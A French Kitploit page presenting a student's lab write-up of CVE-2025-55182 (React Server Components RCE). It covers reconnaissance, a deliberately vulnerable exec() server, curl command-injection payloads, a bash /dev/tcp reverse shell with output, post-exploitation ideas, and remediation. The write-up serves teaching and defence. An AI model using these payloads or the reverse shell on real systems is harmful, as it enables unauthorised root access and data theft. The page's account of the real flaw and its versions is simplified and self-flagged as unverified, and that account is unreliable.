Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
cve-2025-55182-analysis — Analyse de recherche en sécurité et d'exploitation de CVE-2025-55182 (React) — Mappage CVSS + OWASP Top 10 | Kitploit
Outils/GitHubGitHub/mohamedniane/cve-2025-55182-analysis
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et Éducation
GitHubmohamedniane/cve-2025-55182-analysis

cve-2025-55182-analysis

Analyse de recherche en sécurité et d'exploitation de CVE-2025-55182 (React) — Mappage CVSS + OWASP Top 10

Voir le dépôt
1il y a 4 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2025-55182 — Analyse de l'RCE des React Server Components

Analyse de vulnérabilité d'application web · M2 Cybersécurité · 2025 Auteur : Niane Mohamed · LinkedIn

Chaîne d'exploitation de bout en bout d'une vulnérabilité de désérialisation non sécurisée critique (CVSS 10.0) dans React Server Components, de la reconnaissance à l'exécution de code à distance non authentifiée, avec une feuille de route de remédiation complète.


⚠️ Avis de non-responsabilité éthique

Cette recherche cible une application de laboratoire délibérément vulnérable construite pour démontrer la CVE. Tous les tests ont eu lieu dans un réseau virtuel isolé sans connexion aux systèmes de production, aux données utilisateur réelles ou aux services tiers.

  • NE PAS exécuter ces techniques contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation écrite explicite de tester.
  • NE PAS déployer l'application vulnérable sur un réseau accessible depuis Internet.
  • Les principes de divulgation responsable s'appliquent — signalez toujours les résultats par des canaux coordonnés.

Table des matières

  1. Résumé de la vulnérabilité
  2. Versions concernées
  3. Environnement de laboratoire
Procédure d'exploitation
  • Évaluation de l'impact
  • Remédiation
  • Compétences démontrées

  • Résumé de la vulnérabilité

    ChampValeur
    CVECVE-2025-55182
    ClasseDésérialisation non sécurisée → Exécution de code à distance
    CVSS v3.110.0 (Critique) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    Authentification requiseAucune
    Interaction utilisateur requiseAucune
    Vecteur d'attaqueRéseau (distant)
    ComposantRuntime React Server Components (RSC)

    Comment fonctionne la vulnérabilité

    React Server Components a introduit un nouveau format de sérialisation pour diffuser les composants rendus par le serveur vers le client. Dans les versions vulnérables, le point de terminaison RSC accepte une charge utile JSON avec un champ cmd qui est passé non nettoyé à child_process.exec() dans le cadre de l'évaluation du rendu côté serveur.

    Un attaquant peut envoyer une requête POST malveillante qui :

    1. Est acceptée comme une charge utile RSC légitime (pas d'authentification, pas de CSRF)
    2. Déclenche l'exécution de code côté serveur pendant le « rendu »
    3. S'exécute avec les privilèges du processus Node.js (souvent root dans les conteneurs)

    Versions concernées

    ComposantPlage vulnérableCorrigé dans
    react19.0.0 → 19.2.019.3.0+
    react-server-dom-webpack19.0.0 → 19.2.019.3.0+
    react-server-dom-esm19.0.0 → 19.2.019.3.0+

    Environnement de laboratoire

    RôleSystème d'exploitationOutils
    AttaquantKali Linux (dernière version)nmap, curl, netcat, OWASP ZAP, Firefox
    CibleUbuntu 22.04.4Node.js 18, Express, React 19.0 RSC
    RéseauVMware VMnet Host-OnlyAucune sortie Internet

    Application cible

    Un serveur Express + RSC minimal exposant un point de terminaison /rsc qui exécute de manière dangereuse les commandes de la charge utile entrante — reproduisant le modèle de vulnérabilité de la vraie CVE de manière contrôlée :

    root@kitploit:~
    // server.js — simplified, lab-only
    const express = require('express');
    const { exec } = require('child_process');
    
    const app = express();
    app.use(express.json({ limit: '2mb' }));
    
    app.post('/rsc', (req, res) => {
      const payload = req.body?.payload;
      if (typeof payload?.cmd === 'string') {
        // VULNERABLE: executes attacker-controlled string
        exec(payload.cmd, { timeout: 10000 }, (err, stdout, stderr) => {
          if (err) return res.status(500).json({ error: String(err), stderr });
          return res.json({ ok: true, out: stdout });
        });
      }
    });
    
    app.listen(3000);
    

    Procédure d'exploitation

    Phase 1 — Reconnaissance

    root@kitploit:~
    # Port discovery
    nmap 192.168.159.131
    # → 3000/tcp open  ppp  (Node.js RSC server)
    
    # Service verification
    curl -v http://192.168.159.131:3000/
    # → HTTP/1.1 200 OK
    # → X-Powered-By: Express
    # → "Vulnerable RSC-like test server. Use POST /rsc with JSON..."
    

    L'en-tête X-Powered-By: Express et le port inhabituel 3000 fournissent une forte empreinte indiquant qu'il s'agit d'une application Node.js — cohérente avec les déploiements RSC.

    Phase 2 — Confirmation via commande bénigne

    Avant de tenter quoi que ce soit de destructeur, validez la vulnérabilité avec une commande inoffensive :

    root@kitploit:~
    curl -X POST http://192.168.159.131:3000/rsc \
      -H "Content-Type: application/json" \
      -d '{ "payload": { "cmd": "id" } }'
    
    # Response:
    # {"ok":true,"out":"uid=0(root) gid=0(root) groups=0(root)\n"}
    

    ✅ Confirmé : RCE non authentifiée en tant que root. Le serveur s'exécute avec des privilèges sans contrainte.

    Phase 3 — Shell inversé

    Passer de l'exécution de commande unique à un shell interactif complet :

    root@kitploit:~
    # Listener on attacker machine
    nc -lvnp 4444
    
    # Payload delivery
    curl -X POST http://192.168.159.131:3000/rsc \
      -H "Content-Type: application/json" \
      -d '{ "payload": { "cmd": "/bin/bash -c \"/bin/bash -i >& /dev/tcp/192.168.159.128/4444 0>&1\"" } }'
    

    Le récepteur reçoit :

    root@kitploit:~
    connect to [192.168.159.128] from (UNKNOWN) [192.168.159.131] 43980
    root@ns1:~/vulnerable_rsc_app# id
    uid=0(root) gid=0(root) groups=0(root)
    

    Phase 4 — Potentiel de post-exploitation (démontré, non exécuté)

    Avec root sur la cible, un attaquant pourrait trivialement :

    • Lire /etc/shadow, les clés SSH, les secrets d'application, les fichiers .env
    • Installer une persistance (tâches cron, services systemd, implants de clés SSH)
    • Se déplacer latéralement via des informations d'identification découvertes
    • Déployer des cryptomineurs ou des ransomwares
    • Modifier l'application Node.js pour capturer les données utilisateur en silence

    Évaluation de l'impact

    Impact métier (scénario cible fictif)

    AxeImpactExplication
    ConfidentialitéCritiqueAccès en lecture complet à toutes les données du serveur
    IntégritéCritiqueCapacité de modifier le code de l'application et les données utilisateur
    DisponibilitéÉlevéeL'attaquant peut interrompre le service ou le prendre en otage
    RéglementaireGraveViolation du RGPD/DSGVO avec divulgation obligatoire sous 72h · amende potentielle de 4% du chiffre d'affaires mondial
    RéputationnelGraveUne faille mappée à une CVE publique nuit à la confiance des clients
    FinancierÉlevéRéponse aux incidents, amendes réglementaires, éventuelle action collective

    Profil de l'acteur menaçant

    La faible complexité de cette attaque — pas d'authentification, pas d'interaction utilisateur, une seule requête HTTP — la rend attrayante pour :

    • Scanners opportunistes (botnets scannant automatiquement la CVE)
    • Courtiers d'accès initial vendant des points d'entrée à des groupes de ransomwares
    • Acteurs étatiques ciblant les organisations utilisant le rendu serveur React

    Remédiation

    Immédiate (dans les 24 heures)

    1. Mettre à jour React vers 19.3.0+ — version corrigée

      root@kitploit:~
      npm update react react-server-dom-webpack react-server-dom-esm
      
    2. Règle WAF temporaire (si la mise à jour est retardée) :

      root@kitploit:~
      Block POST requests to /rsc with JSON body containing "cmd" field
      
    3. Réponse d'urgence aux incidents :

      • Examinez les journaux d'accès du serveur des 90 derniers jours
      • Recherchez un trafic POST /rsc inhabituel
      • Faites tourner tous les secrets accessibles depuis le serveur
      • Prenez un instantané du système affecté pour la forensic avant la remédiation

    Court terme (dans les 2 semaines)

    ContrôleObjectif
    Désactiver RSC si inutiliséRéduire la surface d'attaque — de nombreuses applications n'ont pas besoin de composants serveur
    Validation stricte des entréesRejeter tout objet désérialisé contenant des clés exécutables
    Utilisateur conteneur non rootLimiter l'impact si RCE se reproduit
    Système de fichiers racine en lecture seuleEmpêcher la persistance et le dépôt de binaires
    Filtrage du trafic sortantBloquer le trafic sortant des serveurs d'application vers des IP arbitraires

    Long terme (dans un trimestre)

    ContrôleObjectif
    WAF avec analyse comportementaleDétecter les charges utiles POST anormales au-delà des règles de signature
    Protection des applications au moment de l'exécution (RASP)Bloquer les appels de fonctions dangereux comme exec() à l'exécution
    SCA dans le CI/CDAttraper les dépendances vulnérables avant le déploiement (pip-audit, npm audit, Trivy)
    Cadence de tests d'intrusionAnnuel + après chaque version majeure
    Programme de bug bountyInciter à la divulgation de bonne foi avant que les attaquants ne trouvent les problèmes

    Cartographie OWASP Top 10

    Catégorie OWASPPertinence
    A03:2021 — InjectionInjection de commande via une entrée désérialisée
    A08:2021 — Défaillances de l'intégrité des logiciels et des donnéesDésérialisation non sécurisée sans vérification d'intégrité
    A06:2021 — Composants vulnérables et obsolètesUtilisation de React 19.0-19.2 après divulgation
    A05:2021 — Mauvaise configuration de sécuritéExécution de Node.js en tant que root, pas de validation des entrées

    Compétences démontrées

    • Analyse de vulnérabilité : Tri de CVE, notation CVSS, évaluation de l'exploitabilité
    • Reconnaissance : Scan Nmap, empreinte de service, récupération de bannières
    • Exploitation : Manipulation HTTP avec curl, ingénierie de shell inversé, création de charges utiles
    • Outils proxy : Interception OWASP ZAP, modification de requête/réponse
    • Communication métier : Résultats techniques traduits en langage de risque exécutif
    • Conception de remédiation : Contrôles en couches sur les horizons immédiat/court/long terme
    • Frameworks : OWASP Top 10, CVSS v3.1, taxonomie CWE, évaluation d'impact RGPD/DSGVO

    Références

    • CVE-2025-55182 — Entrée NVD (placeholder — vérifier avant de citer)
    • Documentation des React Server Components
    • OWASP Top 10 — 2021
    • Spécification CVSS v3.1
    • CWE-502 — Désérialisation de données non fiables

    Licence

    Licence MIT — voir LICENSE

    Publié à des fins éducatives et de recherche défensive. Voir l'avis de non-responsabilité éthique en haut.


    Contact

    Niane Mohamed — Ingénieur Réseau & Sécurité 📍 Nouakchott, Mauritanie → à la recherche d'opportunités en Allemagne 🇩🇪 📧 [email protected] · 🔗 LinkedIn

    Télécharger l’outil